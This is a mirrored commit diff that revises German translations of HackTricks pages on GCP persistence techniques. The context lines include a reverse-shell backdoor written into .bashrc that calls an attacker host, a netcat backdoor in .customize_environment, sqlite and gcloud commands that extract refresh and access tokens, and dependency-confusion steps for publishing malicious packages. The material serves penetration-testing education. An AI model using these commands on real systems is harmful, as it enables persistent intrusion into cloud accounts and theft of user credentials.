mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-14 13:56:30 -08:00
Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe
This commit is contained in:
@@ -1,8 +1,8 @@
|
||||
# GCP - API-Schlüssel Persistenz
|
||||
# GCP - API Keys Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API-Schlüssel
|
||||
## API Keys
|
||||
|
||||
Für weitere Informationen zu API-Schlüsseln siehe:
|
||||
|
||||
@@ -12,7 +12,7 @@ Für weitere Informationen zu API-Schlüsseln siehe:
|
||||
|
||||
### Neue erstellen / Bestehende zugreifen
|
||||
|
||||
Überprüfen Sie, wie Sie dies tun können in:
|
||||
Überprüfen Sie, wie dies geht in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-apikeys-privesc.md
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# GCP - App Engine Persistence
|
||||
# GCP - App Engine Persistenz
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,10 +12,10 @@ Für weitere Informationen über App Engine siehe:
|
||||
|
||||
### Code ändern
|
||||
|
||||
Wenn du den Code einer laufenden Version einfach ändern oder eine neue erstellen könntest, könntest du es dazu bringen, deine Backdoor auszuführen und die Persistenz aufrechtzuerhalten.
|
||||
Wenn du den Code einer laufenden Version einfach ändern oder eine neue erstellen könntest, könntest du es so einrichten, dass es deine Hintertür ausführt und Persistenz aufrechterhält.
|
||||
|
||||
### Persistenz der alten Version
|
||||
|
||||
**Jede Version der Webanwendung wird ausgeführt**, wenn du feststellst, dass ein App Engine-Projekt mehrere Versionen ausführt, könntest du **eine neue** mit deinem **Backdoor**-Code erstellen und dann **eine neue legitime** erstellen, sodass die letzte die legitime ist, aber es wird auch eine **backdoored Version** ausgeführt.
|
||||
**Jede Version der Webanwendung wird ausgeführt**, wenn du feststellst, dass ein App Engine-Projekt mehrere Versionen ausführt, könntest du **eine neue** mit deinem **Hintertür**-Code erstellen und dann **eine neue legitime** erstellen, sodass die letzte die legitime ist, aber es wird auch eine **hintertürbehaftete Version** ausgeführt.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Artifact Registry
|
||||
|
||||
Für weitere Informationen über das Artifact Registry siehe:
|
||||
Für weitere Informationen über Artifact Registry siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
@@ -13,25 +13,25 @@ Für weitere Informationen über das Artifact Registry siehe:
|
||||
### Dependency Confusion
|
||||
|
||||
- Was passiert, wenn **remote und standard** Repositories **in einem virtuellen** gemischt werden und ein Paket in beiden existiert?
|
||||
- Das mit der **höchsten Priorität, die im virtuellen Repository festgelegt ist**, wird verwendet
|
||||
- Das mit der **höchsten Priorität, die im virtuellen Repository** festgelegt ist, wird verwendet
|
||||
- Wenn die **Priorität gleich ist**:
|
||||
- Wenn die **Version** die **gleiche** ist, wird der **Policy-Name alphabetisch** zuerst im virtuellen Repository verwendet
|
||||
- Andernfalls wird die **höchste Version** verwendet
|
||||
|
||||
> [!CAUTION]
|
||||
> Daher ist es möglich, eine **höchste Version (dependency confusion)** in einem öffentlichen Paket-Registry auszunutzen, wenn das remote Repository eine höhere oder gleiche Priorität hat
|
||||
> Daher ist es möglich, eine **höchste Version (dependency confusion)** in einem öffentlichen Paket-Registry zu **missbrauchen**, wenn das Remote-Repository eine höhere oder gleiche Priorität hat
|
||||
|
||||
Diese Technik kann nützlich sein für **Persistence** und **unauthenticated access**, da es nur erforderlich ist, **einen Bibliotheksnamen** zu kennen, der im Artifact Registry gespeichert ist, und **diese gleiche Bibliothek im öffentlichen Repository (PyPi für Python zum Beispiel)** mit einer höheren Version zu erstellen.
|
||||
|
||||
Für Persistence sind dies die Schritte, die du befolgen musst:
|
||||
|
||||
- **Anforderungen**: Ein **virtuelles Repository** muss **existieren** und verwendet werden, ein **internes Paket** mit einem **Namen**, der im **öffentlichen Repository** nicht existiert, muss verwendet werden.
|
||||
- Erstelle ein remote Repository, falls es nicht existiert
|
||||
- Füge das remote Repository zum virtuellen Repository hinzu
|
||||
- Bearbeite die Richtlinien des virtuellen Repositories, um dem remote Repository eine höhere (oder gleiche) Priorität zu geben.\
|
||||
- Erstelle ein Remote-Repository, falls es nicht existiert
|
||||
- Füge das Remote-Repository zum virtuellen Repository hinzu
|
||||
- Bearbeite die Richtlinien des virtuellen Repositories, um dem Remote-Repository eine höhere (oder gleiche) Priorität zu geben.\
|
||||
Führe etwas wie aus:
|
||||
- [gcloud artifacts repositories update --upstream-policy-file ...](https://cloud.google.com/sdk/gcloud/reference/artifacts/repositories/update#--upstream-policy-file)
|
||||
- Lade das legitime Paket herunter, füge deinen schädlichen Code hinzu und registriere es im öffentlichen Repository mit der gleichen Version. Jedes Mal, wenn ein Entwickler es installiert, wird er deins installieren!
|
||||
- Lade das legitime Paket herunter, füge deinen schädlichen Code hinzu und registriere es im öffentlichen Repository mit der gleichen Version. Jedes Mal, wenn ein Entwickler es installiert, installiert er deins!
|
||||
|
||||
Für weitere Informationen über Dependency Confusion siehe:
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# GCP - BigQuery Persistence
|
||||
# GCP - BigQuery Persistenz
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,9 +10,9 @@ Für weitere Informationen über BigQuery siehe:
|
||||
../gcp-services/gcp-bigquery-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Gewähren Sie weiteren Zugriff
|
||||
### Weiteren Zugriff gewähren
|
||||
|
||||
Gewähren Sie weiteren Zugriff auf Datensätze, Tabellen, Zeilen und Spalten für kompromittierte Benutzer oder externe Benutzer. Überprüfen Sie die benötigten Berechtigungen und wie Sie dies auf der Seite tun können:
|
||||
Gewähre weiteren Zugriff auf Datensätze, Tabellen, Zeilen und Spalten für kompromittierte Benutzer oder externe Benutzer. Überprüfe die benötigten Berechtigungen und wie man dies auf der Seite macht:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-bigquery-privesc.md
|
||||
|
||||
@@ -12,7 +12,7 @@ Für weitere Informationen zu Cloud Functions siehe:
|
||||
|
||||
### Persistence Techniques
|
||||
|
||||
- **Ändern Sie den Code** der Cloud Function, sogar nur die `requirements.txt`
|
||||
- **Ändern Sie den Code** der Cloud Function, selbst nur die `requirements.txt`
|
||||
- **Erlauben Sie jedem**, eine verwundbare Cloud Function oder eine Hintertür zu rufen
|
||||
- **Triggern** Sie eine Cloud Function, wenn etwas passiert, um etwas zu infizieren
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# GCP - Cloud Run Persistence
|
||||
# GCP - Cloud Run Persistenz
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,16 +10,16 @@ Für weitere Informationen zu Cloud Run siehe:
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Backdoored Revision
|
||||
### Hintertür Revision
|
||||
|
||||
Erstellen Sie eine neue backdoored Revision eines Run-Dienstes und teilen Sie etwas Verkehr auf ihn auf.
|
||||
Erstellen Sie eine neue hintertürige Revision eines Run-Dienstes und teilen Sie einen Teil des Traffics darauf auf.
|
||||
|
||||
### Öffentlich zugänglicher Dienst
|
||||
|
||||
Machen Sie einen Dienst öffentlich zugänglich.
|
||||
|
||||
### Backdoored Dienst oder Job
|
||||
### Hintertüriger Dienst oder Job
|
||||
|
||||
Erstellen Sie einen backdoored Dienst oder Job.
|
||||
Erstellen Sie einen hintertürigen Dienst oder Job.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -14,7 +14,7 @@ Für weitere Informationen siehe:
|
||||
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) bietet Ihnen direkten Zugriff auf Ihre Cloud-Ressourcen über die Befehlszeile direkt aus Ihrem Browser, ohne damit verbundene Kosten.
|
||||
|
||||
Sie können auf Googles Cloud Shell über die **Web-Konsole** oder durch Ausführen von **`gcloud cloud-shell ssh`** zugreifen.
|
||||
Sie können auf die Google Cloud Shell über die **Web-Konsole** oder durch Ausführen von **`gcloud cloud-shell ssh`** zugreifen.
|
||||
|
||||
Diese Konsole hat einige interessante Fähigkeiten für Angreifer:
|
||||
|
||||
@@ -26,7 +26,7 @@ Das bedeutet im Grunde, dass ein Angreifer eine Hintertür im Home-Verzeichnis d
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
Es gibt eine weitere Datei im Home-Verzeichnis namens **`.customize_environment`**, die, falls sie existiert, **jedes Mal** ausgeführt wird, wenn der Benutzer auf die **cloud shell** zugreift (wie in der vorherigen Technik). Fügen Sie einfach die vorherige Hintertür oder eine ähnliche wie die folgende ein, um die Persistenz aufrechtzuerhalten, solange der Benutzer die **cloud shell** "häufig" verwendet:
|
||||
Es gibt eine weitere Datei im Home-Verzeichnis namens **`.customize_environment`**, die, falls sie existiert, **jedes Mal** ausgeführt wird, wenn der Benutzer auf die **cloud shell** zugreift (wie in der vorherigen Technik). Fügen Sie einfach die vorherige Hintertür oder eine wie die folgende ein, um die Persistenz aufrechtzuerhalten, solange der Benutzer die **cloud shell** "häufig" verwendet:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
apt-get install netcat -y
|
||||
@@ -39,7 +39,7 @@ Dies ist das Pop-up von der Ausführung von `gcloud projects list` aus der Cloud
|
||||
|
||||
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn der Benutzer jedoch die Cloud-Shell aktiv genutzt hat, erscheint das Pop-up nicht und Sie können **Tokens des Benutzers mit**:
|
||||
Wenn der Benutzer jedoch die Cloud-Shell aktiv genutzt hat, wird das Pop-up nicht erscheinen und Sie können **Tokens des Benutzers mit**:
|
||||
```bash
|
||||
gcloud auth print-access-token
|
||||
gcloud auth application-default print-access-token
|
||||
|
||||
@@ -19,14 +19,14 @@ Für weitere Informationen siehe die Technik in:
|
||||
../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Neuen Benutzer erstellen / Benutzerpasswort aktualisieren / Passwort eines Benutzers abrufen
|
||||
### Neuen Benutzer erstellen / Passwort eines Benutzers aktualisieren / Passwort eines Benutzers abrufen
|
||||
|
||||
Um sich mit einer Datenbank zu verbinden, **benötigen Sie nur Zugriff auf den Port**, der von der Datenbank exponiert wird, sowie einen **Benutzernamen** und ein **Passwort**. Mit **ausreichenden Berechtigungen** könnten Sie **einen neuen Benutzer erstellen** oder das **Passwort** eines bestehenden Benutzers **aktualisieren**.\
|
||||
Eine weitere Möglichkeit wäre, das **Passwort eines Benutzers zu brute-forcen**, indem Sie mehrere Passwörter ausprobieren oder auf das **gehashte** Passwort des Benutzers in der Datenbank (wenn möglich) zugreifen und es knacken.\
|
||||
Um sich mit einer Datenbank zu verbinden, **benötigen Sie nur Zugriff auf den Port**, der von der Datenbank exponiert wird, sowie einen **Benutzernamen** und ein **Passwort**. Mit **genügend Berechtigungen** könnten Sie **einen neuen Benutzer erstellen** oder das **Passwort** eines bestehenden Benutzers **aktualisieren**.\
|
||||
Eine andere Möglichkeit wäre, das **Passwort eines Benutzers zu brute-forcen**, indem Sie mehrere Passwörter ausprobieren oder auf das **gehashte** Passwort des Benutzers in der Datenbank (wenn möglich) zugreifen und es knacken.\
|
||||
Denken Sie daran, dass **es möglich ist, die Benutzer einer Datenbank** über die GCP API aufzulisten.
|
||||
|
||||
> [!NOTE]
|
||||
> Sie können Benutzer über die GCP API oder von innerhalb der Datenbank erstellen/aktualisieren, wenn Sie über ausreichende Berechtigungen verfügen.
|
||||
> Sie können Benutzer über die GCP API oder von innerhalb der Datenbank erstellen/aktualisieren, wenn Sie genügend Berechtigungen haben.
|
||||
|
||||
Für weitere Informationen siehe die Technik in:
|
||||
|
||||
|
||||
@@ -4,13 +4,13 @@
|
||||
|
||||
## Compute
|
||||
|
||||
Für weitere Informationen zu Compute und VPC (Netzwerk) siehe:
|
||||
Für weitere Informationen zu Compute und VPC (Networking) siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-compute-instances-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Persistenz durch Ausnutzung von Instanzen & Backups
|
||||
### Persistence abusing Instances & backups
|
||||
|
||||
- Backdoor bestehende VMs
|
||||
- Backdoor Festplattenabbilder und Snapshots durch Erstellen neuer Versionen
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
### Unsichtbare Persistenz im erstellten Container
|
||||
|
||||
Folgend dem [**Tutorial aus der Dokumentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) kannst du eine neue (z.B. Python) Flex-Vorlage erstellen:
|
||||
Folgend dem [**Tutorial aus der Dokumentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) können Sie eine neue (z.B. Python) Flex-Vorlage erstellen:
|
||||
```bash
|
||||
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
|
||||
cd python-docs-samples/dataflow/flex-templates/getting_started
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# GCP - Filestore Persistence
|
||||
# GCP - Filestore Persistenz
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Logging
|
||||
## Protokollierung
|
||||
|
||||
Finden Sie weitere Informationen zu Logging in:
|
||||
Finden Sie weitere Informationen zur Protokollierung in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
|
||||
@@ -20,7 +20,7 @@ sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where
|
||||
```
|
||||
Es ist auch möglich, Refresh-Token in **`$HOME/.config/gcloud/application_default_credentials.json`** und in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** zu finden.
|
||||
|
||||
Um ein neues aktualisiertes Zugriffstoken mit dem **Refresh-Token**, der Client-ID und dem Client-Secret zu erhalten, führen Sie aus:
|
||||
Um ein neues aktualisiertes Zugriffstoken mit dem **Refresh-Token**, der Client-ID und dem Client-Geheimnis zu erhalten, führen Sie aus:
|
||||
```bash
|
||||
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
@@ -45,7 +45,7 @@ Sie finden alle Google-Bereiche unter [https://developers.google.com/identity/pr
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
|
||||
```
|
||||
Es ist möglich zu sehen, welche Scopes die Anwendung, die **`gcloud`** zur Authentifizierung verwendet, mit diesem Skript unterstützen kann:
|
||||
Es ist möglich zu sehen, welche Scopes die Anwendung, die **`gcloud`** zur Authentifizierung verwendet, unterstützen kann, mit diesem Skript:
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
@@ -55,7 +55,7 @@ echo $scope
|
||||
fi
|
||||
done
|
||||
```
|
||||
Nach der Ausführung wurde überprüft, dass diese App diese Scopes unterstützt:
|
||||
Nach der Ausführung wurde überprüft, dass diese App die folgenden Scopes unterstützt:
|
||||
```
|
||||
https://www.googleapis.com/auth/appengine.admin
|
||||
https://www.googleapis.com/auth/bigquery
|
||||
@@ -65,18 +65,18 @@ https://www.googleapis.com/auth/devstorage.full_control
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
```
|
||||
es ist interessant zu sehen, wie diese App den **`drive`** Scope unterstützt, der es einem Benutzer ermöglichen könnte, von GCP zu Workspace zu eskalieren, wenn es einem Angreifer gelingt, den Benutzer zu zwingen, ein Token mit diesem Scope zu generieren.
|
||||
es ist interessant zu sehen, wie diese App den **`drive`** Scope unterstützt, der es einem Benutzer ermöglichen könnte, von GCP zu Workspace zu eskalieren, wenn es einem Angreifer gelingt, den Benutzer dazu zu bringen, ein Token mit diesem Scope zu generieren.
|
||||
|
||||
**Überprüfen Sie, wie Sie** [**das hier ausnutzen können**](../gcp-to-workspace-pivoting/#abusing-gcloud)**.**
|
||||
|
||||
### Dienstkonten
|
||||
|
||||
Genau wie bei authentifizierten Benutzern, wenn Sie es schaffen, die **private Schlüsseldatei** eines Dienstkontos zu **kompromittieren, können Sie in der Regel so lange darauf zugreifen, wie Sie möchten**.\
|
||||
Wenn Sie jedoch das **OAuth-Token** eines Dienstkontos stehlen, kann das sogar noch interessanter sein, denn selbst wenn diese Tokens standardmäßig nur eine Stunde lang nützlich sind, bleibt das **OAuth-Token gültig, bis es abläuft, wenn das Opfer den privaten API-Schlüssel löscht**.
|
||||
Genau wie bei authentifizierten Benutzern, wenn Sie es schaffen, die **private Schlüsseldatei** eines Dienstkontos zu **kompromittieren, werden Sie in der Regel so lange darauf zugreifen können, wie Sie möchten**.\
|
||||
Wenn Sie jedoch das **OAuth-Token** eines Dienstkontos stehlen, kann das sogar noch interessanter sein, denn selbst wenn diese Tokens standardmäßig nur eine Stunde lang nützlich sind, bleibt das **OAuth-Token gültig, bis es abläuft, selbst wenn das Opfer den privaten API-Schlüssel löscht**.
|
||||
|
||||
### Metadaten
|
||||
|
||||
Offensichtlich können Sie, solange Sie sich in einer Maschine im GCP-Umfeld befinden, **auf das Dienstkonto zugreifen, das an dieser Maschine angehängt ist, indem Sie den Metadaten-Endpunkt kontaktieren** (beachten Sie, dass die OAuth-Tokens, auf die Sie in diesem Endpunkt zugreifen können, normalerweise durch Scopes eingeschränkt sind).
|
||||
Offensichtlich werden Sie, solange Sie sich in einer Maschine im GCP-Umfeld befinden, in der Lage sein, **auf das Dienstkonto zuzugreifen, das mit dieser Maschine verbunden ist, indem Sie den Metadaten-Endpunkt kontaktieren** (beachten Sie, dass die Oauth-Tokens, auf die Sie in diesem Endpunkt zugreifen können, normalerweise durch Scopes eingeschränkt sind).
|
||||
|
||||
### Abhilfemaßnahmen
|
||||
|
||||
|
||||
Reference in New Issue
Block a user